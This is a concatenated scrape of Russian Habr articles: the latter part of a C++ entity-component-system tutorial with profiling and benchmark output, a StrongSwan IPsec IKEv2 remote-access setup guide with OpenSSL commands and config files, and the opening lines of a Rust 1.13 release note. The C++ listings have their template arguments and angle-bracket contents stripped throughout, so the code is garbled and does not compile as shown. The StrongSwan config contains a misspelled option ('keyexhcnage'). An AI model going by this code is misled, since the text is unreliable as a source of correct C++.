Кроме того, чтобы иметь возможность добавления, получения или удаления компонента из сущности за постоянное время, нам нужен способ перехода от сущности к компоненту и от компонента к сущности. Для этого нам понадобятся ещё две структуры данных под названием `mComponentToEntity` и `mEntityToComponent`.
Вот объявление `ComponentContainer`:
```
template
class ComponentContainer : public BaseComponentContainer
{
public:
ComponentContainer(std::vector>& entityToBitset);
virtual void reserve(std::size\_t size) override;
T& get(Entity entity);
const T& get(Entity entity) const;
template
void add(Entity entity, Args&&... args);
void remove(Entity entity);
virtual bool tryRemove(Entity entity) override;
Entity getOwner(const T& component) const;
private:
std::vector mComponents;
std::vector mComponentToEntity;
std::unordered\_map mEntityToComponent;
std::vector>& mEntityToBitset;
};
```
Можно заметить, что он наследуется от `BaseComponentContainer`, который задаётся так:
```
class BaseComponentContainer
{
public:
virtual ~BaseComponentContainer() = default;
virtual void reserve(std::size_t size) = 0;
virtual bool tryRemove(Entity entity) = 0;
};
```
Единственное предназначение этого базового класса заключается в том, чтобы иметь возможность хранить все экземпляры `ComponentContainer` в контейнере.
Давайте теперь посмотрим на определение методов.
Сначала рассмотрим конструктор: он получает ссылку на контейнер, содержащий наборы битов сущностей. Этот класс будет использовать её для проверки наличия у сущности компонента и для обновления набора битов сущности при добавлении или удалении компонента:
```
ComponentContainer(std::vector>& entityToBitset) :
mEntityToBitset(entityToBitset)
{
}
```
Метод `get` прост, мы всего лишь используем `mEntityToComponent` для нахождения индекса компонента сущности `entity` в `mComponents`:
```
T& get(Entity entity)
{
return mComponents[mEntityToComponent[entity]];
}
```
Метод `add` использует свои аргументы для вставки нового компонента в конец `mComponents`, а затем он подготавливает ссылки для перехода от сущности к компоненту и от компонента к сущности. В конце он присваивает биту набора битов `entity`, который соответствует компоненту, значение `true`:
```
template
void add(Entity entity, Args&&... args)
{
auto index = static\_cast(mComponents.size());
mComponents.emplace\_back(std::forward(args)...);
mComponentToEntity.emplace\_back(entity);
mEntityToComponent[entity] = index;
mEntityToBitset[entity][T::type] = true;
}
```
Метод `remove` присваивает соответствующему компоненту биту значение `false`, а затем перемещает последний компонент `mComponents` по индексу того, который мы хотим удалить. Он обновляет ссылки на компонент, который мы только что переместили, и удаляет один из компонентов, который мы хотим уничтожить:
```
void remove(Entity entity)
{
mEntityToBitset[entity][T::type] = false;
auto index = mEntityToComponent[entity];
// Update mComponents
mComponents[index] = std::move(mComponents.back());
mComponents.pop_back();
// Update mEntityToComponent
mEntityToComponent[mComponentToEntity.back()] = index;
mEntityToComponent.erase(entity);
// Update mComponentToEntity
mComponentToEntity[index] = mComponentToEntity.back();
mComponentToEntity.pop_back();
}
```
Перемещение за постоянное время мы можем выполнять благодаря перемещению последнего компонента по индексу, который мы хотим уничтожить. И в самом деле, тогда нам просто достаточно будет удалить последний компонент, что можно выполнить в `std::vector` за постоянное время.
Метод `tryRemove` проверяет, есть ли у сущности компонент, прежде чем пытаться удалить его:
```
virtual bool tryRemove(Entity entity) override
{
if (mEntityToBitset[entity][T::type])
{
remove(entity);
return true;
}
return false;
}
```
Метод `getOwner` возвращает сущность, которая владеет компонентом, для этого он пользуется арифметикой указателей и `mComponentToEntity`:
```
Entity getOwner(const T& component) const
{
auto begin = mComponents.data();
auto index = static_cast(&component - begin);
return mComponentToEntity[index];
}
```
Последний метод — это `reserve`, он имеет такое предназначение, что и аналогичный метод в `EntityContainer`:
```
virtual void reserve(std::size_t size) override
{
mComponents.reserve(size);
mComponentToEntity.reserve(size);
mEntityToComponent.reserve(size);
}
```
Система
-------
Теперь давайте рассмотрим класс `System`.
Каждая система имеет набор битов `mRequirements`, описывающий необходимые ей компоненты. Кроме того, она хранит набор сущностей `mManagedEntities`, удовлетворяющих этим требованиям. Повторюсь, чтобы иметь возможность реализовать все операции за постоянное время, нам нужен способ перехода от сущности к её индексу в `mManagedEntities`. Для этого мы воспользуемся `std::unordered_map` под названием `mEntityToManagedEntity`.
Вот как выглядит объявление `System`:
```
template
class System
{
public:
virtual ~System() = default;
protected:
template
void setRequirements();
const std::vector& getManagedEntities() const;
virtual void onManagedEntityAdded([[maybe\_unused]] Entity entity);
virtual void onManagedEntityRemoved([[maybe\_unused]] Entity entity);
private:
friend EntityManager;
std::bitset mRequirements;
std::size\_t mType;
std::vector mManagedEntities;
std::unordered\_map mEntityToManagedEntity;
void setUp(std::size\_t type);
void onEntityUpdated(Entity entity, const std::bitset& components);
void onEntityRemoved(Entity entity);
void addEntity(Entity entity);
void removeEntity(Entity entity);
};
```
Для задания значений битов `setRequirements` использует [выражение свёртки](https://en.cppreference.com/w/cpp/language/fold):
```
template
void setRequirements()
{
(mRequirements.set(Ts::type), ...);
}
```
`getManagedEntities` — это геттер, который будет использоваться порождёнными классами для доступа к обрабатываемым сущностям:
```
const std::vector& getManagedEntities() const
{
return mManagedEntities;
}
```
Он возвращает константную ссылку, чтобы порождённые классы не пытались изменять `mManagedEntities`.
`onManagedEntityAdded` и `onManagedEntityRemoved` пусты. В дальнейшем они будут переопределены. Эти методы будут вызываться при добавлении сущности в `mManagedEntities` или её удалении.
Следующие методы будут приватными и доступными только из `EntityManager`, который объявляется как дружественный класс.
`setUp` будет вызываться менеджером сущностей для назначения id системе. Затем он может использовать его для индексации массивов:
```
void setUp(std::size_t type)
{
mType = type;
}
```
`onEntityUpdated` вызывается при изменении сущности, т.е. при добавлении или удалении компонента. Система проверяет, удовлетворены ли требования и была ли уже обработана сущность. Если она удовлетворяет требованиям и пока не была обработана, то система её добавляет. Однако если сущность не удовлетворяет требованиям и уже была обработана, то система её удаляет. Во всех остальных случаях система ничего не делает:
```
void onEntityUpdated(Entity entity, const std::bitset& components)
{
auto satisfied = (mRequirements & components) == mRequirements;
auto managed = mEntityToManagedEntity.find(entity) != std::end(mEntityToManagedEntity);
if (satisfied && !managed)
addEntity(entity);
else if (!satisfied && managed)
removeEntity(entity);
}
```
`onEntityRemoved` вызывается менеджером сущностей при удалении сущности. Если сущность была обработана системой, он удаляет её:
```
void onEntityRemoved(Entity entity)
{
if (mEntityToManagedEntity.find(entity) != std::end(mEntityToManagedEntity))
removeEntity(entity);
}
```
`addEntity` и `removeEntity` — это просто вспомогательные методы.
`addEntity` задаёт ссылку для перехода от добавленной сущности по её индексу в `mManagedEntities`, добавляет сущность и вызывает `onManagedEntityAdded`:
```
void addEntity(Entity entity)
{
mEntityToManagedEntity[entity] = static_cast(mManagedEntities.size());
mManagedEntities.emplace\_back(entity);
onManagedEntityAdded(entity);
}
```
`removeEntity` сначала вызывает `onManagedEntityRemoved`. Затем он перемещает последнюю обработанную сущность по индексу той, которая удаляется. Он обновляет ссылку на перемещённую сущность. В конце он удаляет сущность, которую нужно было удалить, из `mManagedEntities` и `mEntityToManagedEntity`:
```
void removeEntity(Entity entity)
{
onManagedEntityRemoved(entity);
auto index = mEntityToManagedEntity[entity];
mEntityToManagedEntity[mManagedEntities.back()] = index;
mEntityToManagedEntity.erase(entity);
mManagedEntities[index] = mManagedEntities.back();
mManagedEntities.pop_back();
}
```
EntityManager
-------------
Вся важная логика находится в других классах. Менеджер сущностей просто связывает всё вместе.
Давайте взглянем на его объявление:
```
template
class EntityManager
{
public:
template
void registerComponent();
template
T\* createSystem(Args&& ...args);
void reserve(std::size\_t size);
Entity createEntity();
void removeEntity(Entity entity);
template
bool hasComponent(Entity entity) const;
template
bool hasComponents(Entity entity) const;
template
T& getComponent(Entity entity);
template
const T& getComponent(Entity entity) const;
template
std::tuple getComponents(Entity entity);
template
std::tuple getComponents(Entity entity) const;
template
void addComponent(Entity entity, Args&&... args);
template
void removeComponent(Entity entity);
template
Entity getOwner(const T& component) const;
private:
std::array, ComponentCount> mComponentContainers;
EntityContainer mEntities;
std::vector>> mSystems;
template
void checkComponentType() const;
template
void checkComponentTypes() const;
template
auto getComponentContainer();
template
auto getComponentContainer() const;
};
```
Класс `EntityManager` имеет три переменных членов класса: `mComponentContainers`, хранящую указатели `std::unique_ptr` на `BaseComponentContainer`, `mEntities`, которая просто является экземпляром `EntityContainer` и `mSystems`, которая хранит указатели `unique_ptr` на `System`.
Класс имеет множество методов, но на самом деле все они очень просты.
Давайте сначала взглянем на `getComponentContainer`, который возвращает указатель на контейнер компонентов, обрабатывающий компоненты типа `T`:
```
template
auto getComponentContainer()
{
return static\_cast\*>(mComponentContainers[T::type].get());
}
```
Ещё одна вспомогательная функция — это `checkComponentType`, которая просто проверяет, что id типа компонента ниже максимального числа компонентов:
```
template
void checkComponentType() const
{
static\_assert(T::type < ComponentCount);
}
```
`checkComponentTypes` использует выражение свёртки для выполнения проверки нескольких типов:
```
template
void checkComponentTypes() const
{
(checkComponentType(), ...);
}
```
`registerComponent` создаёт новый контейнер компонентов указанного типа:
```
template
void registerComponent()
{
checkComponentType();
mComponentContainers[T::type] = std::make\_unique>(
mEntities.getEntityToBitset());
}
```
`createSystem` создаёт новую систему указанного типа и задаёт её тип:
```
template
T\* createSystem(Args&& ...args)
{
auto type = mSystems.size();
auto& system = mSystems.emplace\_back(std::make\_unique(std::forward(args)...));
system->setUp(type);
return static\_cast(system.get());
}
```
Метод `reserve` вызывает методы `reserve` контейнеров `ComponentContainer` и `EntityContainer`:
```
void reserve(std::size_t size)
{
for (auto i = std::size_t(0); i < ComponentCount; ++i)
{
if (mComponentContainers[i])
mComponentContainers[i]->reserve(size);
}
mEntities.reserve(size);
}
```
Метод `createEntity` возвращает результат метода `create` менеджера `EntityManager`:
```
Entity createEntity()
{
return mEntities.create();
}
```
`hasComponent` использует набор битов сущности для быстрой проверки того, что у этой сущности есть компонент указанного типа:
```
template
bool hasComponent(Entity entity) const
{
checkComponentType();
return mEntities.getBitset(entity)[T::type];
}
```
`hasComponents` использует выражение свёртки для создания набора битов, обозначающего требуемые компоненты, а затем использует его с набором битов сущности для проверки того, есть ли у сущности все требуемые компоненты:
```
template
bool hasComponents(Entity entity) const
{
checkComponentTypes();
auto requirements = std::bitset();
(requirements.set(Ts::type), ...);
return (requirements & mEntities.getBitset(entity)) == requirements;
}
```
`getComponent` переправляет запрос нужному контейнеру компонентов:
```
template
T& getComponent(Entity entity)
{
checkComponentType();
return getComponentContainer()->get(entity);
}
```
`getComponents` возвращает кортеж ссылок на запрошенные компоненты. Для этого он использует [`std::tie`](https://en.cppreference.com/w/cpp/utility/tuple/tie) и выражение свёртки:
```
template
std::tuple getComponents(Entity entity)
{
checkComponentTypes();
return std::tie(getComponentContainer()->get(entity)...);
}
```
`addComponent` и `removeComponent` переправляют запрос к нужному контейнеру компонентов, а затем вызывают метод системы `onEntityUpdated`:
```
template
void addComponent(Entity entity, Args&&... args)
{
checkComponentType();
getComponentContainer()->add(entity, std::forward(args)...);
// Send message to systems
const auto& bitset = mEntities.getBitset(entity);
for (auto& system : mSystems)
system->onEntityUpdated(entity, bitset);
}
template
void removeComponent(Entity entity)
{
checkComponentType();
getComponentContainer()->remove(entity);
// Send message to systems
const auto& bitset = mEntities.getBitset(entity);
for (auto& system : mSystems)
system->onEntityUpdated(entity, bitset);
}
```
Наконец, `getOwner` переправляет запрос нужному компоненту контейнеров:
```
template
Entity getOwner(const T& component) const
{
checkComponentType();
return getComponentContainer()->getOwner(component);
}
```
Такой была моя первая реализация. Она состоит всего из 357 строк кода. Весь код можно найти в этой [ветке](https://github.com/pvigier/ecs/tree/unordered_map).
Профилирование и бенчмарки
==========================
Бенчмарки
---------
Теперь настало время провести бенчмарки моей первой реализации ECS!
Вот результаты:
Шаблон достаточно хорошо масштабируется! Количество обработанных за секунду приблизительно одинаково при увеличении количества сущностей и смене профилей (A, AA и AAA).
Кроме того, он хорошо масштабируется с увеличением количества компонентов в сущностях. Когда мы выполняем итерации по сущностям с тремя компонентами, они происходят в три раза медленее, чем итерации по сущностям с одним компонентом. Это ожидаемо, потому что нам нужно получить три компонента.
Промахи кэша
------------
Для проверки количества промахов кэша я запустил взятый [отсюда](https://github.com/pvigier/ecs/blob/master/examples/physics.cpp) пример с [cachegrind](http://valgrind.org/docs/manual/cg-manual.html).
Вот результат для 10 000 сущностей:
`==1652== D refs: 277,577,353 (254,775,159 rd + 22,802,194 wr)
==1652== D1 misses: 20,814,368 ( 20,759,914 rd + 54,454 wr)
==1652== LLd misses: 43,483 ( 7,847 rd + 35,636 wr)
==1652== D1 miss rate: 7.5% ( 8.1% + 0.2% )
==1652== LLd miss rate: 0.0% ( 0.0% + 0.2% )`
Вот результат для 100 000 сущностей:
`==1738== D refs: 2,762,879,670 (2,539,368,564 rd + 223,511,106 wr)
==1738== D1 misses: 207,415,181 ( 206,902,072 rd + 513,109 wr)
==1738== LLd misses: 207,274,328 ( 206,789,289 rd + 485,039 wr)
==1738== D1 miss rate: 7.5% ( 8.1% + 0.2% )
==1738== LLd miss rate: 7.5% ( 8.1% + 0.2% )`
Результаты довольно неплохи. Только немного странно, почему так много промахов LLd при 100 000 сущностей.
Профилирование
--------------
Чтобы понять, какие части текущей реализации занимают больше времени, я профилировал пример при помощи [gprof](https://sourceware.org/binutils/docs/gprof/).
Вот результат:
`Flat profile:
Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls ms/call ms/call name
57.45 1.16 1.16 200300000 0.00 0.00 std::__detail::_Map_base, std::allocator >, std::\_\_detail::\_Select1st, std::equal\_to, std::hash, std::\_\_detail::\_Mod\_range\_hashing, std::\_\_detail::\_Default\_ranged\_hash, std::\_\_detail::\_Prime\_rehash\_policy, std::\_\_detail::\_Hashtable\_traits, true>::operator[](unsigned int const&)
19.31 1.55 0.39 main
16.34 1.88 0.33 200500000 0.00 0.00 std::\_Hashtable, std::allocator >, std::\_\_detail::\_Select1st, std::equal\_to, std::hash, std::\_\_detail::\_Mod\_range\_hashing, std::\_\_detail::\_Default\_ranged\_hash, std::\_\_detail::\_Prime\_rehash\_policy, std::\_\_detail::\_Hashtable\_traits >::\_M\_find\_before\_node(unsigned long, unsigned int const&, unsigned long) const
3.96 1.96 0.08 300000 0.00 0.00 std::\_Hashtable, std::allocator >, std::\_\_detail::\_Select1st, std::equal\_to, std::hash, std::\_\_detail::\_Mod\_range\_hashing, std::\_\_detail::\_Default\_ranged\_hash, std::\_\_detail::\_Prime\_rehash\_policy, std::\_\_detail::\_Hashtable\_traits >::\_M\_insert\_unique\_node(unsigned long, unsigned long, std::\_\_detail::\_Hash\_node, false>\*)
2.48 2.01 0.05 300000 0.00 0.00 unsigned int& std::vector >::emplace\_back(unsigned int&)
0.50 2.02 0.01 3 3.33 3.33 std::\_Hashtable, std::allocator >, std::\_\_detail::\_Select1st, std::equal\_to, std::hash, std::\_\_detail::\_Mod\_range\_hashing, std::\_\_detail::\_Default\_ranged\_hash, std::\_\_detail::\_Prime\_rehash\_policy, std::\_\_detail::\_Hashtable\_traits >::~\_Hashtable()
0.00 2.02 0.00 200000 0.00 0.00 std::\_Hashtable, std::allocator >, std::\_\_detail::\_Select1st, std::equal\_to, std::hash, std::\_\_detail::\_Mod\_range\_hashing, std::\_\_detail::\_Default\_ranged\_hash, std::\_\_detail::\_Prime\_rehash\_policy, std::\_\_detail::\_Hashtable\_traits >::find(unsigned int const&)`
Результаты могут быть немного искажены, потому что я компилировал с флагом `-O1`, чтобы gprof выводил нечто осмысленное. Похоже, что при повышении уровня оптимизации компилятор начинает агрессивно всё встраивать и gprof почти ничего не сообщает.
По данным gprof, очевидным узким местом в этой реализации являются `std::unordered_map`. Если мы хотим оптимизировать её, то стоит попробовать от них избавиться.
Сравнение с `std::map`
----------------------
Мне стала любопытна разница в производительности между `std::unordered_map` и `std::map`, поэтому я заменил в коде все `std::unordered_map` на `std::map`. Эта реализация выложена [здесь](https://github.com/pvigier/ecs/tree/map)
Вот результаты бенчмарков:
Мы можем увидеть, что на этот раз реализация плохо масштабируется при увеличении количества сущностей. И даже при 1000 сущностей она в два раза медленнее в итерациях, чем версия с `std::unordered_map`.
Заключение
==========
Мы создали простую, но уже практичную библиотеку шаблона entity-component-system. В дальнейшем мы будем использовать в качестве фундамента для улучшений и оптимизаций.
В следующей части мы покажем, как повысить производительность, заменив `std::unordered_map` на `std::vector`. Кроме того, мы покажем, как автоматически назначать компонентам id типа.
Замена std::unordered\_map на std::vector
=========================================
Как мы увидели, `std::unordered_map` были узким местом нашей реализации. Поэтому вместо `std::unordered_map` мы используем в `mEntityToComponent` для `ComponentContainer` и в `mEntityToManagedEntity` для `System` векторы `std::vector`.
Изменения
---------
Изменения будут очень простыми, посмотреть на них можно [здесь](https://github.com/pvigier/ecs/commit/290099e821036225b9d7fe75ca7ffcbb2c0ae7a4).
Единственная тонкость заключается в том, чтобы `vector` в `mEntityToComponent` и `mEntityToManagedEntity` были достаточно длинными для индексации любой сущностью. Чтобы сделать это простым способом, я решил хранить эти `vector` в `EntityContainer`, в котором мы знаем максимальный id сущности. Тогда я передаю векторы `vector` контейнерам компонентов по ссылке или указателю в менеджере сущностей.
Изменённый код можно найти в этой [ветке](https://github.com/pvigier/ecs/tree/vector).
Результаты
----------
Давайте проверим, насколько лучше работает эта версия, чем предыдущая:
Как видите, создание и удаление при большом количестве компонентов и систем стали немного
медленнее.
Однако итерация стала намного быстрее, почти в десять раз! И масштабируется она очень хорошо. Это ускорение с сильно перевешивает замедление создания и удаления. И это логично: итерации сущности будут происходить множество раз, а создаётся и удаляется она только один раз.
Теперь давайте посмотрим, снизило ли это количество промахов кэша.
Вот выходные данные cachegrind при 10 000 сущностях:
`==1374== D refs: 94,563,949 (72,082,880 rd + 22,481,069 wr)
==1374== D1 misses: 4,813,780 ( 4,417,702 rd + 396,078 wr)
==1374== LLd misses: 378,905 ( 9,626 rd + 369,279 wr)
==1374== D1 miss rate: 5.1% ( 6.1% + 1.8% )
==1374== LLd miss rate: 0.4% ( 0.0% + 1.6% )`
А вот вывод для 100 000 сущностей:
`==1307== D refs: 938,405,796 (715,424,940 rd + 222,980,856 wr)
==1307== D1 misses: 51,034,738 ( 44,045,090 rd + 6,989,648 wr)
==1307== LLd misses: 5,866,508 ( 1,997,948 rd + 3,868,560 wr)
==1307== D1 miss rate: 5.4% ( 6.2% + 3.1% )
==1307== LLd miss rate: 0.6% ( 0.3% + 1.7% )`
Мы видим, что эта версия создаёт примерно в три раза меньше ссылок и в четыре раза меньше промахов кэша.
Автоматические типы
===================
Последним улучшением, о котором я расскажу, станет автоматическая генерация идентификаторов типов компонентов.
Изменения
---------
На все изменения для реализации автоматической генерации id типов можно посмотреть [здесь](https://github.com/pvigier/ecs/commit/09b2b8b6aa4abe65255ac716a85dcf8d25a7e586).
Для, чтобы иметь возможность назначать один уникальный id каждому типу компонентов, нужно воспользоваться CRTP и функцией со статическим счётчиком:
```
template
class Component
{
public:
static const std::size\_t type;
};
std::size\_t generateComponentType()
{
static auto counter = std::size\_t(0);
return counter++;
}
template
const std::size\_t Component::type = generateComponentType();
```
Можно заметить, что id типа теперь генерируется во время выполнения, а ранее он был известен во время компиляции.
Код после внесённых изменений можно посмотреть в этой [ветке](https://github.com/pvigier/ecs/tree/automatic_component_type).
Результаты
----------
Для проверки производительности этой версии я провёл бенчмарки:
Для создания и удаления результаты остались примерно теми же. Однако можно заметить, что итерация стала чуть медленнее, примерно на 10%.
Это замедление можно объяснить тем, что раньше компилятор знал идентификаторы типов во время компиляции, а значит мог лучше оптимизировать код.
Ручное назначение id типов немного неудобно и может приводить к ошибкам. Таким образом, пусть мы даже немного снизили производительность, это всё равно является улучшением юзабилити нашей библиотеки ECS.
Идеи для дальнейших усовершенствований
======================================
Перед завершением статьи я хотел бы поделиться с вами идеями других улучшений. Пока я их не реализовал, но возможно, сделаю это в будущем.
Динамическое количество компонентов и систем
--------------------------------------------
Неудобно заранее указывать максимальное количество компонентов и систем в виде параметров шаблона. Думаю, возможно будет заменить `std::array` в `EntityManager` на `std::vector` без сильного снижения производительности.
Однако `std::bitset` требует знать во время компиляции количество битов. Пока я думаю устранить эту проблему заменой `std::vector>` в `EntityContainer` на `std::vector` и выделением достаточного количества байтов для представления наборов битов всех сущностей. Затем мы реализуем облегчённый класс `BitsetView`, который получает на входе пару указателей на начало и конец набора битов, а затем выполнять все нужные операции с `std::bitset` в этом диапазоне памяти.
Ещё одна идея: больше не использовать наборы битов и просто проверять в `mEntityToComponent`, есть ли у сущности компонент.
Упрощённая итерация по компонентам
----------------------------------
В настоящий момент, если система хочет итеративно обойти компоненты обрабатываемых ею сущностей, нам нужно делать это так:
```
for (const auto& entity : getManagedEntities())
{
auto [position, velocity] = mEntityManager.getComponents(entity);
...
}
```
Было бы красивее и проще, если бы могли сделать нечто подобное:
```
for (auto& [position, velocity] : mEntityManager.getComponents(mManagedEntities))
{
...
}
```
Реализовать это будет проще простого с помощью `std::view::transform` в C++20
из [библиотеки ranges](https://en.cppreference.com/w/cpp/ranges).
К сожалению, её пока нет. Я мог бы использовать [библиотеку range](https://github.com/ericniebler/range-v3) Эрика Ниблера, но не хочу добавлять зависимости.
Решение могло бы заключаться в реализации класса `EntityRangeView`, который бы получал в качестве параметров шаблона типы компонентов, которые нужно получить, а в качестве параметра конструктора ссылку на `std::vector` сущностей. Тогда нам бы нужно было только реализовать `begin`, `end` и тип итератора, чтобы добиться желаемого поведения. Это не особо сложно, но немного трудоёмко в написании.
Оптимизация управления событиями
--------------------------------
В текущей реализации при добавлении или удалении компонента из сущности мы вызываем `onEntityUpdated` всех систем. Это немного неэффективно, потому что многие системы не интересует тип компонента, который только что был изменён.
Чтобы минимизировать урон, мы можем хранить указатели на системы, заинтересованные в указанном типе компонентов, в структуре данных, например `std::array>, ComponentCount>`. Тогда при добавлении или удалении компонента мы просто вызывали бы метод `onEntityUpdated` систем, заинтересованных в этом компоненте.
Подмножества сущностей, управляемые менеджером сущностей вместо систем
----------------------------------------------------------------------
Моя последняя идея привела бы к более обширным изменениям в структуре библиотеки.
Вместо систем, управляющих своими множествами сущностей, этим бы занимался менеджер сущностей. Преимущество такой схемы заключается в том, что если две системы заинтересованы в одном множестве компонентов, мы не дублируем подмножество сущностей, удовлетворяющих этим требованиям.
Системы просто могли бы заявлять о своих требованиях менеджеру сущностей. Тогда менеджер сущностей хранил бы все разные подмножества сущностей. Наконец, системы бы запрашивали сущности при помощи подобного синтаксиса:
```
for (const auto& entity : mEntityManager.getEntitiesWith())
{
...
}
```
Заключение
==========
Пока это завершение статьи о моей реализации entity-component-system. Если я внесу другие улучшения, то, возможно, напишу в будущем новые статьи.
Описанная в статье реализация достаточно проста: она состоит из менее чем 500 строк кода, а также обладает хорошей производительностью. Все операции реализованы за (амортизированное) постоянное время. Более того, на практике она оптимально использует кэш и очень быстро получает и итерирует сущности.
Надеюсь, эта статья была для вас интересной или даже полезной.
Дополнительное чтение
=====================
Вот пара полезных ресурсов для более глубокого изучения шаблона entity-component-system:
* Мишель Кайни, автор [entt](https://github.com/skypjack/entt), пишет очень интересную серию статьей об entity-component-system под названием [ECS back and forth](https://skypjack.github.io/2019-02-14-ecs-baf-part-1/).
* [Entity Systems Wiki](http://entity-systems.wikidot.com/) содержатся очень полезная информация и ссылки. | https://habr.com/ru/post/459288/ | null | ru | null |
# Обзор IPSEC демона StrongSwan
#### **Введение**
На хабре много статей про настройку IPSEC на разных девайсах, но относительно мало про Linux, а StrongSwan представлен поверхностно всего одной статьей.
В своем обзоре я затрону следующие вопросы:
* Обзор демона StrongSwan;
* Настройка Remote Access VPN на сертификатах.
Про протокол IPSEC и особенности реализации IKEv2 можно прочитать информацию в интернете, в данной статье они рассмотрены не будут. Всю информацию, которая касается описания демона можно найти на strongswan.org. Я использовал версию StrongSwan 4.6.4, но с точки зрения рассмотренного конфигурирования никаких отличий с более поздними версиями нет, в том числе и с пятой.
В качестве операционной системы для стенда я использовал Debian 6.0 (2.6.32-5-686)
**#### Обзор демона StrongSwan**
StrongSwan является демоном IPSEC, который поддерживает IKEv1 и IKEv2. На данный момент это развивающий продукт. Установка StrongSwan может быть выполнена из исходников или репазитория. Установка из исходников описана на сайте StrongSwan.
Установка из репазитория происходит без проблем командой:
```
apt-get install strongswan
```
Файлы конфигурирования по умолчанию хранятся в директории /etc/ и имеют следующие названия:
* ipsec.conf – определяет параметры IPSEC-соединений и параметры подключений в целом;
* ipsec.secrets – служит для хранения ссылок на сертификаты и ключи аутентификации;
* strongswan.conf – для подключения криптографических алгоритмов и дополнительных функций.
Помимо этого во время установки программного обеспечения для хранения сертификатов и CRL-файлов используемых демонами pluto и charon создается директория /etc/ipsec.d, в которой находятся следующие каталоги:
* private – содержит закрытые ключи RSA и ECDSA;
* certs – содержит сертификаты X.509 и PGP;
* crls – хранит список отозванных сертиифкатов;
* cacerts – хранит доверенные сертификаты CA;
* ocspcerts – содержит подписанные OCSP сертификаты;
* reqs – содержит запросы на сертификаты в формате PKCS#10.
Файл /etc/ipsec.secrets содержит неограниченное количество следующих типов ключей (паролей):
* RSA для определения пароля к сертификату открытого ключа;
* ECDS для определения пароля к сертификату открытого ключа;
* PSK для определения Pre-shared ключа;
* EAP для учетных записей EAP;
* NTLM для учетных записей NTLM;
* XAUTH для учетных записей XAUTH;
* PIN для пин-кода смарт-карт.
Соответственно поддерживаются все типы аутентификации.
Основные параметры команды ipsec, которая управляет подключениями StrongSwan:
* start|restart|stop;
* ipsec status|statusall — для просмотра состояния IPSEC-соединений;
* up|down|route|unroute — для управления IPSEC-соединений.
Логи хранятся в /var/log/auth.log и /var/log/daemon.log.
**##### Настройка Remote Access VPN на сертификатах**
###### Генерация сертификатов
Генерация сертификатов является самой ответственной частью и самой трудной, именно от нее будет зависеть работоспособность нашего IPSEC=тунеля.
Сертификаты генерировались с помощью OPENSSL.
Сначала настраиваем OPENSSL:
```
nano -w /usr/lib/ssl/openssl.cnf
[ CA_default ]
dir = /etc/ipsec.d # Основная директория, в ней будут храниться все сертификаты
certificate = $dir/cacerts/strongswanCert.pem # Здесь у нас будет лежать CA сертификат
private_key = $dir/private/strongswanKey.pem # А здесь закрытый ключ CA сертификата
```
Создаем директорию для новых сертификатов и файл с серийником для OPENSSL
```
cd /etc/ipsec.d
mkdir newcerts
touch index.txt
echo “00” > serial
```
Генерируем CA-сертификат:
```
openssl req -x509 -days 3650 -newkey rsa:2048 -keyout private/strongswanKey.pem -out cacerts/strongswanCert.pem
openssl pkcs12 -export -inkey private/strongswanKey.pem -in certs/strongswanCert.pem -name "host" -certfile cacerts/strongswanCert.pem -caname "strongSwan Root CA" -out CAcert.p12 /* этот сертификат нужно будет импортировать на клиент (например Windows 7)
```
Генерируем сертификат для сервера:
```
openssl req -newkey rsa:1024 -keyout private/serverkey.pem -out reqs/serverreq.pem
openssl ca -in reqs/serverreq.pem -days 730 -out certs/servercert.pem -notext
```
При генерации сертификата обязательно нужно задать для серверного сертификата в openssl.cnf параметр subjectAltName=IP:
Генерируем сертификат для клиента:
```
openssl req -newkey rsa:1024 -keyout private/hostKey.pem -out reqs/hostReq.pem
openssl ca -in reqs/hostReq.pem -days 730 -out certs/hostCert.pem -notext
openssl pkcs12 -export -inkey private/hostKey.pem -in certs/hostCert.pem -name "host" -certfile cacerts/strongswanCert.pem -caname "strongSwan Root CA" -out host.p12 /* этот сертификат нужно будет разместить на клиенте вместе с CA сертификатом
```
###### Настройка StrongSwan
Файл strongswan.conf
```
charon {
load = curl test-vectors aes des sha1 sha2 md5 pem pkcs1 gmp random x509 revocation hmac xcbc cmac ctr ccm gcm stroke kernel-netlink socket-default updown eap-identity
}
```
Основными файлами для настройки являются etc/ipsec.conf и ipsec.secrets.
Начнем с ipsec.conf
```
config setup / данная секция определяет базовые параметры
strictpolicy=no
charonstart=yes
plutostart=no / т.к. нам не нужен IKEv1
charondebug="ike 2, knl 3, cfg 0"
conn %default / определяет базовые параметры всех IPSEC-соединений
ikelifetime=60m
keylife=20m
rekeymargin=3m
keyingtries=1
dpdaction=restart
dpdelay=30s
dpdtimeout=180s
conn rw / название IPSEC-соединения
left= / адрес внешнего интерфейса
leftsubnet= / подсеть, к которой мы даем доступ
leftid=
leftcert=/etc/ipsec.d/certs/servercert.pem / говорим какой сертификат использовать для установки IKE SA
leftauth=pubkey / говорим, что мы авторизуемся у клиент с помощью сертификата RSA
right=%any / к нам можно подключиться с любого IP
rightauth=pubkey / клиент авторизуется у нас по сертификату RSA
rightsourceip= / из этого пула будет выдаваться IP-адрес для клиента
auto=add / подключение будет инициироваться клиентом
keyexhcnage=ikev2
type=tunnel
```
Файл ipsec.secrets
```
: RSA /etc/ipsec.d/private/serverkey.pem "password"
```
Более подробно ознакомиться с директивами данного файла можно по [ссылке](http://wiki.strongswan.org/projects/strongswan/wiki/IpsecConf).
Настройка IPSEC [подключения](http://wiki.strongswan.org/projects/strongswan/wiki/Win7Config) для Win7 и импорт [сертификатов](http://wiki.strongswan.org/projects/strongswan/wiki/Win7Certs) .
Дальше можно подключиться клиентом и проверить статус соединения командой ipsec statusall и просмотром логов, ну и в Windows должно быть успешно подключено VPN-соединение и пинги будут бегать.
#### **Заключение**
В своей статье я сделал краткий обзор демона StrongSwan и привел пример настройки IPSEC IKEv2 на сертификатах для подключения клиентов (Windows 7). Так же StrongSwan имеет собственный клиент для Android, который так же будет работать с указанными настройками, главное сделать для него сертификат. Как видно из предложенной мной конфигурации она несколько отличается от той, которую предлагает использовать сам strongswan в своих примерах и большое внимание уделено генерации сертификатов.
Помимо этого замечательно работает site-to-site IPSEC и Remote Access с использованием протоколов аутентификации MSCHAPv2-EAP, а так же L2TP over IPSEC (IKEv1), если интересно, то могу рассказать как их настроить. | https://habr.com/ru/post/177453/ | null | ru | null |
# Выпуск Rust 1.13
Команда Rust рада представить выпуск Rust 1.13.0. Rust — это системный язык программирования, нацеленный на безопасность, скорость и параллельное выполнение кода.
